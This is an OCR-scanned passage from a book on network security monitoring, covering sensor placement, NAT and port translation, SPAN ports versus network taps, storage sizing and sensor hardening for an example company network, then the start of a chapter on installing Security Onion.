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more than waiting for an IDS to trigger an alert, or beginning to collect 
more information about an incident only after an IDS triggers an alert. 
Successful NSM operations are always collecting multiple forms of NSM 
data, using some of it for matching activities (via IDS and related systems) 
and hunting activities (via human review of NSM data). (T ll explain these 
methods in Chapters 9, 10, and 11.) 

The most sophisticated intruders know how to evade IDS signatures 
and traditional analysis. Only by equipping a CIRT's analysts with the full 
range of NSM data can you have the best chance of using network-centric 
evidence to foil those sorts of adversaries. NSM data, and analysts who put 
it to maximum use, has helped organizations of all sizes and complexities 
counter a wide range of intruders since the technology and methodology 
evolved in the 1990s. Despite challenges posed by increasing intruder skill, 
widespread adoption of encryption, and increasing bandwidth, NSM con- 
tinues to be a scalable and cost-effective security measure. 


NSM Drawbacks 


It would not be fair to discuss all the positives of the NSM experience with- 
out mentioning a few drawbacks. NSM encounters difficulty when faced 
with one or more of the following situations. 


e Network traffic is encrypted, thus denying access to content. When vir- 
tual private networks (VPNs) are active, even source and destination IP 
addresses may be obscured. 


e Network architecture, such as heavy and repeated use of network address 
translation (NAT) technologies, may obscure source and destination IP 
addresses. 


e Highly mobile platforms may never use a segment monitored by the 
NSM platform, thereby failing to generate traffic that the CIRT can 
analyze for malicious activity. 


e Extreme traffic volume may overwhelm NSM platforms, or at least 
require more hardware than the CIRT may have anticipated deploying. 


e Privacy concerns may limit access to the sorts of traffic required for real 
NSM effectiveness. 


Those are all accurate descriptions, and other drawbacks probably 
exist. Chapter 2 discusses how to address some of them. However, in the 
many years since 1998 when I first learned NSM principles, the system has 
always benefited my network intrusion detection and response work. 


Where Can I Buy NSM? 


Perhaps by now you're ready to write a check for a vendor who will ship 
you a shiny “NSM in a box,” ready to conquer evil on your network. 
Unfortunately, there’s more to NSM than software and data. 
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NSM is an operation that also relies on people and processes. The pri- 
mary purpose of this book is to help you understand NSM and begin an 
operation as quickly and efficiently as possible. 

A secondary purpose of this book is to help you be able to identify NSM 
operations when you see them. For example, you may find vendors offering 
"NSM" services, but you aren't sure whether they've just adopted the lingo 
without actually implementing the operation. Using this book, you can 
determine whether they're running a real NSM shop. 


Where Can I Go for Support or More Information? 


There is no international NSM organization, nor any NSM clubs. Perhaps 
it's time to start one! Additional resources for learning more about NSM 
include the following: 


e The NSM wiki (Attp://nsmwiki.org/), maintained by David Bianco 

e The #snort-gui Internet Relay Chat (IRC) channel on Freenode 

e The Security Onion website (Attp://securityonion.blogspot.com/) and mail- 
ing lists (Attp://code.google.com/p/security-onion/wiki/ MailingLists) 

e Members of the NetworkSecurityMonitoring list on Twitter (Attps://twitter 
.com/taosecurity/networksecuritymonitoring/members), some of whom also 
operate blogs (linked from their Twitter profiles) 


e My other books on the topic (listed in the preface) 


Conclusion 


Chapter 1 


This chapter introduced the principles of NSM. Along the way, we looked 
at a true case study, discussed how NSM fits into existing architectures and 
tools, and surveyed various forms of NSM data. You may feel overwhelmed 
by the introduction of numerous tools, datatypes, and concepts in this 
chapter. That's why I wrote the rest of this book! After practicing, teaching, 
and writing about NSM since 1999, I’ve learned that taking an incremental 
approach is the best way to get colleagues, students, and readers comfort- 
able with NSM. 

My goal has been to give you an overall feel for how NSM differs 
from other security approaches. NSM is a model for action, with network- 
derived data at the heart of the operations. NSM recognizes that time is 
the most important element in security, as demonstrated by the state of 
South Carolina DoR case study. CIRTs and analysts rely on a variety of 
NSM datatypes, not just packets captured from the wire. 

In the rest of the book, I will help you get a basic NSM operation run- 
ning. I'll show you where to deploy sensors, how they work, what data they 
collect and interpret, and how to use that data to find intruders. Let's go! 





COLLECTING NETWORK TRAFFIC: 
ACCESS, STORAGE, AND 
MANAGEMENT 


Chapter 1 introduced the rationale for 
NSM. In this chapter, you'll learn the 
details of collecting network traffic, spe- 

cifically as they relate to access, storage, and 

management. Consistent with the overall theme of 
this book, this chapter is not an in-depth study of the 
topic, but rather a guide to help you identify where 
to put your first sensor and get started collecting net- 
work traffic. 





A Sample Network for a Pilot NSM System 


Chapter 1 introduced a simple network that could require NSM visibility, 

as reproduced in Figure 2-1. Each “cloud” in the network represents an 
infrastructure that can send or receive network traffic—devices such as lap- 
tops, workstations, servers, smartphones, and tablets. This sample network 
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is complicated enough to present some challenges to the CIRT, but not so 
complex as to make a beginner's decisions exceptionally difficult. We'll use 
this network for our chapter's example, and call the company running this 
network Vivian's Pets, Inc. The Vivian's Pets’ CIRT has decided to try a pilot 
NSM operation. 
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Figure 2-1: Vivian's Pets network 


Figure 2-1 (a modified version of Figure 1-4) is composed of four 
"zones," connected to one another by various networking devices, as shown 
in Figure 2-2. The firewall at the center is an access control and routing 
device. The switches connected to the firewall allow access for servers and 
workstations. The wireless access point offers Wi-Fi connectivity. The exter- 
nal gateway connects to the Internet. 


Networks in a production environment can be much more complicated than the 
simple network in our example. You will encounter discussions of network tiers, core 
switches, edge routers, multiple firewalls, gateways, and so on. However, rather than 
go into the many details of networking, my goal is to explain how to think about this 
problem. By understanding the thought process behind network instrumentation, you 
can apply those lessons to your own environment. 


The Vivian's Pets CIRT understands that they are trying to detect and 
respond to intruders, but they must decide what sort of network traffic they 
need to monitor in order to accomplish their objective. The process begins 
with choosing where on the network to start collecting traffic. That point is 
where they will deploy their first NSM sensor. 
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Figure 2-2: Vivian's Pets networking elements 


Traffic Flow in a Simple Network 


In order to properly locate monitoring devices, you need to understand 
network traffic flow. This will give you an idea of the visibility options asso- 
ciated with the locations of your sensors. 

To start, Figure 2-3 shows an example of network traffic with a simple, 
direct path—from a workstation in the internal network to a web server on 
the Internet. 

The dashed line in Figure 2-3 traces the path from the workstation 
to the web server. The dotted line shows the path of a reply from the web 
server to the workstation. In order to capture data along either path, we 
need to deploy the NSM platform appropriately within that path. Vivian's 
Pets only has access to and authority over the network it owns. The bound- 
ary is its external gateway. 

In Figure 2-4, the path from the firewall to the web server is the same 
as in Figure 2-3, except that we have a different starting point: the wireless 
network. The traffic exists in wireless form as radio waves when the laptop 
communicates with the wireless access point. The traffic then takes the form 
of light over fiber optic cable or electrons over copper cable as it traverses 
the wired network. 

Monitoring wireless traffic is much more difficult than monitoring 
wired traffic because, unlike wired traffic, wireless traffic on a well-run 
network is likely to be encrypted at a low level. Application data may be fur- 
ther encrypted on either type of network, but wired networks are still much 
easier to observe than properly configured wireless ones. 
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Figure 2-3: Network path from the workstation to the web server on the Internet 
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Figure 2-4: Network path from a laptop to a web server on the Internet 


On the other hand, tracing activity involving a DMZ network is a bit 
more complex because the source of the activity could be a computer on 
the local DMZ network or one on the Internet. Let's start with the DMZ net- 
work case. 

Imagine that a DNS server in the DMZ network wants to connect to a 
DNS server on the Internet. Figure 2-5 shows the traffic flow, which looks 
similar to the previous examples. The DNS server in the DMZ network makes 
a request of some type—perhaps to resolve a hostname to an IP address. The 
traffic traverses the access switch, passes through the firewall, and heads out 
to the Internet. When the DNS server on the Internet receives the request, 
it responds with a reply that will take roughly the same path, but in reverse. 


DNS server 





DNS server 






Request 





Wireless 
Network 














Internal 
Network 





Figure 2-5: Network path from a local DNS server to a DNS server on the Internet 


Now imagine that a web browser belonging to an Internet user wants 
to connect to a web server hosted by Vivian's Pets. The web server resides 
in the DMZ network. Figure 2-6 shows how the request and replies move 
through the network. The web browser creates a request (such as a GET or 
POST) that heads toward the Vivian's Pets network, as shown by the dashed 
line. The network must allow this request to pass its external gateway, exter- 
nal switch, firewall, and DMZ switch, and finally find its way to a web server 
on the DMZ network. It responds with an HTTP reply, which, as shown by 
the dotted line, follows the reverse path to reach the web browser. 

This last case is the only one we've seen thus far where a computer on 
the Internet needs to initiate a connection to a computer hosted in one of 
Vivian's Pets network zones. 
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Figure 2-6: Network path from a web browser on the Internet to a web server hosted by 
Vivian's Pets 


Possible Locations for NSM 


There are several other reasons for traffic to flow into or out of the Vivian's 
Pets network, such as the following: 


e Users on the internal network might access resources in the DMZ 
network. 


e Users on the wireless network might access resources in the DMZ network. 


e Systems in the DMZ network might access resources in the internal 
network. 


e Systems in the wireless network might access resources in the internal 
network. 


All of these situations could influence the placement of your NSM 
platform. NSM platforms, meaning the actual hardware and software to 
implement monitoring, are discussed in “Choosing an NSM Platform” on 
page 49. 

One goal of analyzing the network is to identify any computers or appli- 
cations that might be compromised. Given the previous analysis, where on 
the network should we collect network traffic? Figure 2-7 shows nine pos- 
sible locations, labeled A through I, for NSM platform placement. 
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Figure 2-7: Monitoring location options 


In order to see network traffic from the internal, wireless, and DMZ 
networks, it seems like C, D, or E would be good options, because all three 
sit along the path into and out of the Vivian's Pets network. How do we 
decide which location is best? 

An important consideration when choosing NSM platform placement is 
the role of network addressing, which we'll look at next. 


IP Addresses and Network Address Translation 


When setting up NSM operations, it's important to know which computers 
you're monitoring, including the IP addresses assigned to computers, and 
how other network devices see and change them. These are key factors in 

deciding where to place sensors. 


Net Blocks 


Figure 2-8 shows the IP address net blocks used by Vivian's Pets in each seg- 
ment of the company network diagram. IP address net blocks are groups of 
addresses assigned to segments. Individual interfaces on computers and 
network devices will have one or more IP addresses assigned from these 
net blocks. 
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Figure 2-8: Net blocks assigned to segments 


As you can see in the figure, the IP address net blocks are assigned as 
follows: 


e The IP addresses used by the external gateway belong to the 
198.51.100.0/24 net block, which is a net block reserved for example 
networks. (Real-world networks do not use “example” net blocks in pro- 
duction, but these addresses are perfect for documents like this book.) 


e Devices between the external gateway and the firewall have IP addresses 
in the 192.168.1.0/24 net block, which belong to a set reserved for private 
internal use. 


e Nodes on the wireless network have IP addresses from the 172.16.0.0/12 
net block, which is reserved for private use. 

e Servers in the DMZ network have IP addresses in the 192.168.2.0/24 
net block, which is also a reserved private range. 


e Internal network hosts have IP addresses from another private reserved 
net block: 10.0.0.0/8. 


The network administrator for Vivian’s Pets assigned the IP addresses 
used internally, and the administrator received an allocation for an exter- 
nal range from the American Registry for Internet Numbers (ARIN), which 
is the Regional Internet Registry (RIR) for the United States and Canada 
(and some other locations). 


IP Address Assignments 


Now that you understand the net block arrangements, we can see which 
individual IP addresses are used on the Vivian's Pets network. Again, the 
company's network administrator made these decisions in concert with 
the owners of the computing devices. Figure 2-9 shows IP address assign- 
ments to some of the key devices in the network. 


198.51.100.1 | 198.51.100.0/24 


e 


192.168.1.2 | 192.168.1.0/24 


172.16.0.0/12 E 192.168.2.0/24 


192.168.1.3 


ey 192.168.2.5 
10006 EP 


Internal 
Network 







Wireless 
Network 





















10.0.0.0/8 





Figure 2-9: IP addresses assigned to key devices 


As you can see, the external gateway, or Internet-facing router, has 
two interfaces: 


e The public interface facing the Internet, called its external address, 
is 198.51.100.1. 

e The address it shows to the company, called its internal address, is 
192.168.1.2. 


The firewall has four interfaces: 


e The interface facing the external gateway and Internet is 192.168.1.3. 
e The interface facing the wireless network is 172.16.0.4. 
e The interface facing the DMZ is 192.168.2.5. 


e The interface facing the internal network is 10.0.0.6. 
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Address Translation 


Networks with a mix of public and private IP addresses likely use a translation 
mechanism that allows devices to communicate with one another. Because 
computers on the Internet can't talk to the wireless, DMZ, or internal net- 
works directly, some sort of device—a firewall or gateway router—is used to 
perform some form of translation to allow a company's computers to talk to 
the Internet, and vice versa. 

The Internet was designed as an end-to-end network, populated by com- 
puters and networking devices with universally unique, publicly allocated IP 
addresses. However, the modern Internet doesn't look that way at all. In order 
to cope with growth, modern networks use private addresses like those seen 
in Vivian's Pets. Translation allows private IP addresses to *pretend" to be 
public addresses for the purpose of Internet connectivity. This trickery means 
we'll need to get creative when making NSM placement decisions. 


Network Address Translation 


Why not just use public IP addresses for each device, rather than deal with 
address translation? As you probably know, IPv4 addresses are scarce. They 
are basically all allocated, so it's no longer possible for organizations just 
connecting to the Internet to acquire a large block of public IP addresses. 
Most organizations resort to using private IP addresses internally, and save 
public IP addresses for computers directly connected to the Internet that 
truly need them. 

Understanding translation is key to making NSM platform deployment 
decisions. First, consider traffic entering and exiting the DMZ network. 
Computers on this network will initiate outbound requests and accept 
inbound ones. Network administrators will use a form of translation called 
network address translation, or NAT, to make this happen. For example, the 
firewall might be configured as a NAT device, with the IP addresses of 
devices on each network translated as they exit the firewall. 

For our sample network, consider the web server in the DMZ network 
with IP address 192.168.2.100, as shown in Figure 2-10. When traffic flows 
through the firewall, the firewall rewrites, or translates, the IP address of 
the web server to a different value—in this case, 192.168.1.100. The fire- 
wall maintains a table that tells it that the address it created for web server 
192.168.1.100 is the same as 192.168.2.100. Similarly, when traffic flows 
through the external gateway, the external gateway rewrites what it sees as 
the web server's IP address (192.168.1.100) to 198.51.100.100. 

Now, thanks to NAT, computers on the Internet can reach the company's 
web server. Because 198.51.100.100 is a public IP address that can be routed 
on the Internet, traffic initiated by the web server or a computer on the 
Internet can reach its intended destinations. Figure 2-10 shows this progres- 
sion of IP address rewrites at the firewall and external gateway. 
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Figure 2-10: NAT of the web server in the DMZ network 


These NAT mappings allow the web server to route traffic properly. 
Administrators maintaining these networks must set up similar mappings 
for all servers in the DMZ network that use address translation. This is an 
expensive technique that consumes one scarce public IP address for every 
server in the DMZ with similar requirements. For this reason, we turn to a 
different translation technique when dealing with computers in the wireless 
and internal networks. 


Address Translation in Wireless and Internal Networks 


Computers in wireless and internal networks communicate differently from 
servers in DMZ networks. While wireless and internal computers initiate traf- 
fic to the Internet, they should not accept traffic from the Internet. Because 
we are trying to conserve scarce public IP addresses, this *outbound-only" 
communication pattern actually helps us stay within our IP address con- 
straints. For these types of networks, network administrators often use a 
form of translation called network port address translation (referred to as 
NPAT or PAT). 

When using NPAT, each translation device rewrites the wireless or inter- 
nal source IP address to be a single IP value, and uses changing source ports 
to differentiate among sending computers. As with NAT, each translation 
device maintains a table to track any changes. Computers use the combina- 
tion of source IP address, source port, destination IP address, destination 
port, and IP protocol to identify unique connections. Ports are the key in 
the translation process, as they permit several private IP addresses to be 
hidden behind a single public IP address. 
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To understand NPAT, consider a laptop on the wireless network with IP 
address 172.16.1.50 that initiates outbound traffic to the Internet, as shown 
in Figure 2-11. As traffic passes through the firewall and heads toward the 
external gateway and Internet, the source IP address will be 192.168.1.3, 
with source port 1977. The firewall keeps an NPAT table linking the lap- 
top's assigned IP address of 192.168.1.3 to its real IP address of 172.16.1.50. 
However, the IP address 192.168.1.3 is still a private IP address that cannot 
be routed on the Internet. 
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Figure 2-11: NPAT of a laptop in a wireless network 


To address this situation, network administrators configure a second 
level of NPAT on the external gateway. Traffic leaving the firewall and enter- 
ing the gateway from the wireless and internal networks will show the laptop’s 
source IP address as 192.168.1.3. When it’s used to pass traffic, the NPAT 
configuration on the gateway will translate to have the source IP address 
of 198.51.100.1. The gateway assigns port 7704 to the source of the connec- 
tion as a way to track the conversation initiated by the laptop. As a result, 
computers on the Internet will see all traffic from the laptop and other 
wireless and internal network computers as having source IP addresses of 
198.51.100.1. 

It’s important to keep in mind that the NPAT tables must be set for 
every connection involving every computer in the wireless and internal 
networks. This essentially trades a lack of public IP addresses for load on 
the firewall and gateway, which must constantly rewrite source IP addresses 
and ports. However, millions of networks around the world rely on these 


techniques to maintain connectivity. Many networks are far more complicated, 
with even more levels of NAT, NPAT, and other complex techniques. This 
reality has profound effects on your choices regarding sensor placement. 


Choosing the Best Place to Obtain Network Visibility 


Now that we've covered the IP addresses and networks used in the Vivian's 
Pets network, we need to decide which assets to observe on the network. 
When we select a network monitoring location, we are choosing a place that 
will provide copies of network traffic in transit. 

Before we knew about net blocks and NAT/NPAT configuration, it 
seemed that locations C, D, or E were equally good options to see network 
traffic from the internal, wireless, and DMZ networks (see Figure 2-7). Each 
saw traffic as it left Vivian's Pets on its way to the Internet as well as on its 
way back from the Internet. But as it turns out, locations C, D, and E are 
not good choices for observing traffic that stays within the company. 

Now let's examine which source IP addresses would be seen at each 
location, and determine their potential value. (Remember that source 
addresses are important because they help us identify the Vivian's Pets 
computer or computers affected by attacks.) 


Location for DMZ Network Traffic 


First, consider the communications involving the DMZ network. Because 
the DMZ network uses NAT, with essentially one-for-one mappings between 
IP addresses, locations C, D, and E offer similar visibility options. Although 
the source IP address for DMZ servers depends on where the NSM plat- 
form is looking, the one-to-one mapping makes it easy to determine 

that 198.51.100.100 is the same as 192.168.1.100, which is the same as 
192.168.2.100. 

Some systems in the DMZ network might not be configured with one- 
to-one mapping. Watch for these configurations, and handle them accord- 
ing to the following guidance for wireless and internal networks. 

From the perspective of the DMZ network, the main difference between 
these locations is the filtering or blocking policy in place on the external 
gateway and firewall. Each device is likely denying some subset of non- 
essential traffic using an access control list or other type of traffic filter. (An 
access control list is a set of instructions applied to a gateway or firewall to 
control the sort of traffic allowed through a network device.) 


Locations for Viewing the Wireless and Internal Network Traffic 


Unfortunately, the world is not so simple when considering computers in 
wireless and internal networks. Because NPAT is used, there is no constant, 
easy-to-understand IP address mapping. How does a wireless or internal 
network computer look when connecting to the Internet, as seen from loca- 
tions C, D, and E? 
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Location C This is at the firewall's interface facing the Internet. All 
NPAT'd traffic has a source IP address of 192.168.1.3. 


Location D This is between the firewall’s interface facing the Internet 
and the gateway's interface facing the company. All NPAT’d traffic also 
has a source IP address of 192.168.1.3. 


Location E This is between the gateway's interface facing the 
Internet and the Internet. All NPAT'd traffic has a source IP address 
of 198.51.100.1. 


As you can see, none of these three locations permits us to see the true 
source IP address of a compromised computer in wireless or internal net- 
works. NPAT obscures the true source IP address. The true destination IP 
address will be visible at all three locations, but that doesn't necessarily help 
us identify compromised computers. 

It's time to return to the diagram in Figure 2-7 to see if any other loca- 
tion will give us the data we need to find compromised wireless or internal 
network computers using true source IP addresses. Unfortunately, we find 
that there is no single place that will let us see true source IP addresses 
from the wireless, internal, and DMZ networks. Of course, we could alter 
the configuration of the firewall itself to send copies of network traffic from 
all three segments to an NSM platform, but that would make security engi- 
neers and administrators nervous. Instead, we could use the following sen- 
sor deployment strategy for our network, as shown in Figure 2-12. 


e To see the true source IP addresses from the wireless network, deploy 
an NSM platform at G. 


e To see the true source IP addresses from the internal network, deploy 
an NSM platform at B. 


e To see the true source IP addresses from the DMZ network, deploy 
an NSM platform at H. (Locations C, D, or E are also options, but H 
matches the spirit of the previous two recommendations.) 


By adopting this deployment scheme, we can see traffic with true source IP 
addresses, which makes it a lot easier to identify compromised computers. 

What about destination IP addresses? NSM practitioners also like to see 
the true destination IP address of network traffic in order to identify sus- 
picious and malicious traffic by destination alone. For example, we might 
conclude that any computer talking to 203.0.113.1 is compromised because 
203.0.113.1 is controlled by an adversary. 

In our network, locations G, B, and H will see true destination IP 
addresses as well as true source IP addresses. In other networks, this may 
not be the case, and we might need to deploy yet another NSM platform to 
see traffic at location E, as close to the Internet as possible. We can ignore 
that scenario here, but you may encounter it in the real world when enter- 
prises deploy proxy servers for all outbound traffic. On those networks, 
the observed destination IP address is that of the company proxy, and the 
application information visible to the proxy contains the true destination 
IP address. Chapter 13 explains how to cope with network proxies. 
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Figure 2-12: Locations G, B, and H provide true company source IP address visibility 


Getting Physical Access to the Traffic 


Deploying sensors with visibility at locations G, B, and H will make us 
happy, but how do we get physical access to the network traffic flowing over 
the cables at those locations? Choosing the right place to obtain network 
visibility is only the first step in our deployment process. The next step is 
deciding how to physically access network traffic. 

There are two main options in modern networks where copper or fiber 
optic cables carry network traffic: using features of the existing network 
infrastructure or adding a new piece of hardware. We'll discuss using exist- 
ing features first. 


Using Switches for Traffic Monitoring 


As shown in Figure 2-18, the Vivian's Pets network includes several switches. 
Notice the switch to the left of location G and the firewall to the right. 
Location H is similar, with the firewall to the left and a switch to the 
right. Location B shows a firewall above and a switch below. Figure 2-13 
shows three points of interest, the switch uplinks labeled SI, S2, and S3, 
next to each switch that's closest to the firewall. We can use these switches 
to observe network traffic. 

These three switch interfaces are uplinks to the firewall that see all traffic 
passing through the switch to and from the firewall. 
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Figure 2-13: Details of visibility locations G, B, and H 


Using features available in all enterprise network switches, we can con- 
figure these switch ports to send copies of the traffic they see to an other- 
wise unused switch port. Cisco calls this technique the Switched Port Analyzer 
(SPAN). Juniper and Dell use the term port mirroring.’ 

No matter the name, these technologies provide a copy of network traffic 
to the SPAN or mirror port, allowing the NSM platform to see the traffic. 


Using a Network Tap 


Another option for network visibility involves introducing a new piece of 
network infrastructure: the network tap, as shown in Figure 2-14. Rather 
than configuring switch ports, network administrators can deploy physical 
tap hardware at locations G, B, and H, with one tap at each location. These 
taps keep the traffic flowing between the switches and firewall, even if their 
dual power supplies fail. The taps provide separate ports with copies of net- 
work traffic suitable for consumption by an NSM platform. 

Figure 2-14 shows three cables, labeled left to right as RO1, R02, and 
blank attached to a Net Optics iTap Port Aggregator. The aggregator com- 
bines copies of traffic seen on the two left ports and sends a single output to 
each of the two right ports. In other words, cable R01 would be connected 
to one of the switches—say switch uplink SI—while cable R02 would be con- 
nected to the firewall interface facing uplink SI. The rightmost cable would 
be connected to the NSM platform. (We would need to tap locations H and 
B as well with more cables, deployed similarly.) 


1. All three vendors provide documentation on how to configure SPAN or port mirroring on 
their enterprise switches. Cisco posts SPAN documentation at Attp://wunw.cisco.com/en/US/ 
products/hw/switches/ps708/products tech, mote09186a008015c612.shtml. Juniper posts port mir- 
roring documentation at http://www.juniper.net/techpubs/en_US/junos10.1/topics/usage-guidelines/ 
policy-configuring-port-mirroring. html. Dell posts port mirroring documentation at hitps:// 
support.dell.com/support/edocs/network/5p788/clig/mirror.htm. 





Figure 2-14: A network tap 


Capturing Traffic Directly on a Client or Server 


While SPAN ports and network taps are the two main choices for accessing 
traffic, two others techniques involve collecting NSM data directly on a net- 
working or security infrastructure, or on a client or server. 

Collecting data on a network or security device means capturing traffic 
on a system like a firewall or router. This is usually not a viable, long-term 
solution because these filtering and routing platforms are not typically 
equipped with robust storage media. They may offer temporary trouble- 
shooting opportunities, but unless they are designed for collection, they 
are best left to their primary duties. 

Collecting NSM data on an endpoint, such as a laptop or server, is 
another option. Collection on servers may be the only option for CIRTs, 
especially when those servers are in the cloud. Laptops and workstations 
might offer temporary buffers for logging NSM data, but these are less 
likely to collect the sort of long-term data associated with NSM platforms 
watching a wire directly. 


Choosing an NSM Platform 


Having selected our monitoring locations and methods for the Vivian's Pets 
network, we turn our attention to the NSM platform itself—the server that 
we connect to the network tap. This server will run NSM tools to collect and 
analyze network traffic. Security analysts will interpret the data provided by 
the NSM platform in order to detect, respond to, and contain intrusions. 
The server can be a commercial appliance, a self-built system, or even a vir- 
tual machine. 
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SPAN PORTS OR TAPS? 


Network and security engineers sometimes fight "religious wars" regarding the 
use of SPAN ports or network taps. Even when they agree that a network tap is 
the preferred solution, the exact type of hardware can be another source of dis- 
cussion. Using three separate taps is far from the only option. Vendors offer a 
wide variety of configurations, each with different costs and benefits. The three- 
tap solution shown in Figure 2-14 is the simplest because it avoids introducing a 
single point of failure, while building visibility into the network. 

| prefer network taps over SPAN ports because it’s too easy to misconfigure 
SPAN ports, and once they're configured, it's too easy to have them disconnected 
for other troubleshooting purposes. Even intruders could disable a SPAN port in 


order to hide some of their activities! Furthermore, it is possible to "oversubscribe" 


SPAN ports, meaning an administrator sends too much traffic to the port con- 
figured to mirror traffic. While this can happen with network taps, it is easier to 
engineer a tapping solution to avoid this problem. 

When network administrators accept a tap into their environment, it's seen 
as a commitment to building visibility into the network. | recommend that all new 
network segments have visibility built into their design, with taps the preferred 
solution. Be sure to choose a vendor with a solid reputation for engineering, 
production, and customer service. You don't want a device designed for visibil- 
ity to be the reason your network is down! 


Typical NSM platforms have the following characteristics: 


e Large amounts of hard disk space, in a Redundant Array of Independent 
Disks (RAID) configuration for storing network traffic and associated 
NSM data 


e A minimum of 4GB of RAM, with at least IGB more RAM for every 
interface connected to a SPAN port or network tap 


e One CPU core per monitored interface 


e Multiple network interfaces, with the appropriate number and media 
type required by the SPAN ports or network taps 


Selecting the hard drive space is one of the toughest choices. Often, 
security administrators will start with a budget of costs allocated per NSM 
platform, which allows them to buy a server with only a certain amount of 
hard drive space and memory. Buy the maximum amount of hard drive 
space you can afford, followed by as much RAM as you can afford. 

Because no two networks are the same, the best way to size a sensor is to 
learn by doing in your own environment. Some NSM platforms store a lot of 
full content data in pcap file format. Some use logs stored in databases and 
other logs in text format. In later chapters, we'll take a closer look at the 
types of data stored on NSM platforms. 


To roughly estimate full content data storage requirements, use this 
formula: 


Hard drive storage for one day - Average network utilization in 
Mbps x 1 byte/8 bits x 60 seconds/minute x 60 minutes/hour x 
24 hours/day 


For example, say your network's average utilization of a IGbps link is 
100Mbps. Here's how to use the formula: 


100Mbps x 1 byte/8 bits x 60 seconds/minute x 60 minutes/hour x 
24 hours/day = 1,080,000MB per day or 1.08TB per day 


1.08TB per day is also 12.5MB per second, or 750MB per minute, or 
45GB per hour. 

Next, decide how many days of traffic you want to store. If you want to 
store 30 days of full content data, at 1.08TB per day, you will need 32.4TB 
per 30 days. 

Beyond storing full content data, we should estimate the hard drive 
space used by databases. Experience has shown that we can estimate data- 
base storage requirements at one-tenth that of the full content data storage 
needs. That means if we're going to store, say, about 33TB of full content 
data, we should allocate another 3.3TB for database needs. 

The third form of data, text files, will use about one-twentieth of the 
full content data number. In our case, that's about 1.6TB of space. 

All told, if we want to store 30 days’ worth of NSM data for a network 
averaging 100Mbps, it’s safe to allocate about 38TB of hard drive space. 


Ten NSM Platform Management Recommendations 


Finally, here's a brief look at managing the NSM platform. The following 
10 recommendations will help protect your NSM data. 


l. Limit command shell access to the system to only those administrators 
who truly need it. Analysts should log in to the sensor directly only in 
an emergency. Instead, they should access it through tools that allow 
them to issue commands or retrieve data from the sensor. 


2. Administrators should never share the root account, and should never 
log in to sensors as the root account. If possible, access the sensor using 
shared keys, or use a two-factor or two-step authentication system like 
Google Authenticator. 


3. Always administer the sensor over a secure communications channel 


like OpenSSH. 


4. Do not centrally administer the sensor’s accounts using the same system 
that manages normal IT or user assets. 


5. Always equip production sensors with remote-access cards. 


6. Assume the sensor is responsible for defending itself. Limit the expo- 
sure of services on the sensor, and keep all services up-to-date. 


Collecting Network Traffic: Access, Storage, and Management 51 


52 


7. Exportlogs from the sensor to another platform so that its status can 
be remotely monitored and assessed. 


8. Ifpossible, put the sensor's management interface on a private network 
reserved for management only. 


9. If possible, use full disk encryption to protect data on the sensor when 
it is shut down. 


10. Create and implement a plan to keep the sensor software up-to-date. 
Treat the system like an appliance, but maintain it as a defensible 
platform. 


These 10 principles will reduce the likelihood that the sensor will be 
compromised, but even NSM platforms can fall prey to intruders. Monitor 
sensors as if they were servers in your environment, and keep a watchful eye 
for activity outside their normal patterns. 


Conclusion 


Chapter 2 


In this chapter, we dove into the intricacies of selecting appropriate visibility 
locations, given a simple network operated by Vivian's Pets. Although this 
network will never exactly match production networks, it's similar enough 
to demonstrate some real-world challenges. 

When instrumenting your own network, it's crucial to determine what 
you can see at various locations. Can you observe the true source and desti- 
nation IP addresses? In many networks, it's just not possible to find a single 
location where both pieces of information can be obtained. Instead, you 
need to find multiple locations and deploy sensors at each. 

We discussed ways to get access to network traffic using network taps, 
which represent a real commitment to instrumenting the network. By build- 
ing visibility in, you make network knowledge part of the fabric of the IT 
department. 

We also explored ways to think about sizing an NSM platform. A rough 
pilot gives you the experience you need to decide how to size your produc- 
tion equipment. The final section presented some basic sensor self-defense 
principles. 

In Chapter 3, we'll deploy NSM software on a sample server, in prepara- 
tion for finding intruders on the network. 


PART H 


SECURITY ONION DEPLOYMENT 





STAND-ALONE NSM 
DEPLOYMENT AND INSTALLATION 


At this point, you have selected deployment 
locations, network access technologies, and 





server hardware for your NSM platform(s). 
This chapter demonstrates how to install the 
open source Security Onion (SO) NSM suite from 
Doug Burks (Attp://securityonion.blogspot.com/) to begin 
collecting and interpreting network traffic. SO is so 
incredibly easy to deploy and operate that I use it 
myself, rather than building my own platforms. 


This chapter focuses on installing SO in its simplest configuration: as a 
stand-alone platform. When you finish this chapter, you will have an NSM 
appliance ready to provide your CIRT with the network-centric data it needs 
to detect and respond to intrusions. 
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As a preview for the rest of this part of the book, Chapter 4 explains how 
to install SO in a distributed configuration, with separate server and sensor 
components. Chapter 5 discusses housekeeping functions for stand-alone 
and distributed setups. In Chapters 6 and 7, we'll try out some of the packet 
analysis tools that come bundled with SO, and in Chapter 8 we'll learn how 
to use several of the NSM consoles available in SO. 


Stand-alone or Server Plus Sensors? 


Chapter 3 


SO supports two deployment modes: 


Stand-alone mode In this mode, SO is a self-contained, single-box 
solution that collects and presents data to analysts. 


Server-plus-sensors mode In this mode, SO acts as a distributed plat- 
form, with sensors collecting data and a server aggregating and present- 
ing data to analysts. 


To choose the appropriate mode, you need to decide how extensive you 
expect your NSM needs to become. Each mode offers certain benefits and 
drawbacks, but I recommend that anyone new to NSM start with a stand- 
alone deployment. Using a single system enables you to learn more about 
the NSM datatypes and how to apply them to your CIRT's workflow. After 
becoming comfortable with a stand-alone deployment, consider upgrading 
to the server-plus-sensors arrangement explained in Chapter 4. 

Figure 3-1 shows the stand-alone configuration with a client (such as an 
analyst) accessing a stand-alone SO platform. The stand-alone SO platform 
performs all of the functions necessary to perform NSM, on one box. 
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Figure 3-1: Stand-alone SO deployment 


The stand-alone option is a good choice for security staff with fairly 
simple NSM requirements. For example, they might need to watch only a 
single segment, or several segments using a single sensor. 

Figure 3-2 illustrates how a stand-alone NSM platform could watch traf- 
fic at locations G, B, and H, as labeled in the figure. The dashed lines show 
network connectivity from the network taps at locations G, B, and H to the 
listening network interface cards (NICs) on the NSM platform. The solid 
line shows network connectivity from the internal network switch to the 
management NIC of the NSM platform. The listening NICs passively watch 
network traffic, while the management NIC permits remote access to the 
NSM platform. 
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Figure 3-2: Stand-alone SO platform watches network locations G, B, and H. 


Figure 3-3 depicts another alternative: server-plus-sensors deployment. 
This option is suitable for larger and more complicated network require- 
ments. Basically, the stand-alone option consolidates all collection, interpre- 
tation, and reporting duties on a single server, and the server-plus-sensors 
option distributes these duties. 
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Figure 3-3: Server-plus-sensors SO deployment 
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The server-plus-sensors configuration is the deployment model of 
choice for any CIRT with multiple networks to monitor, especially in the 
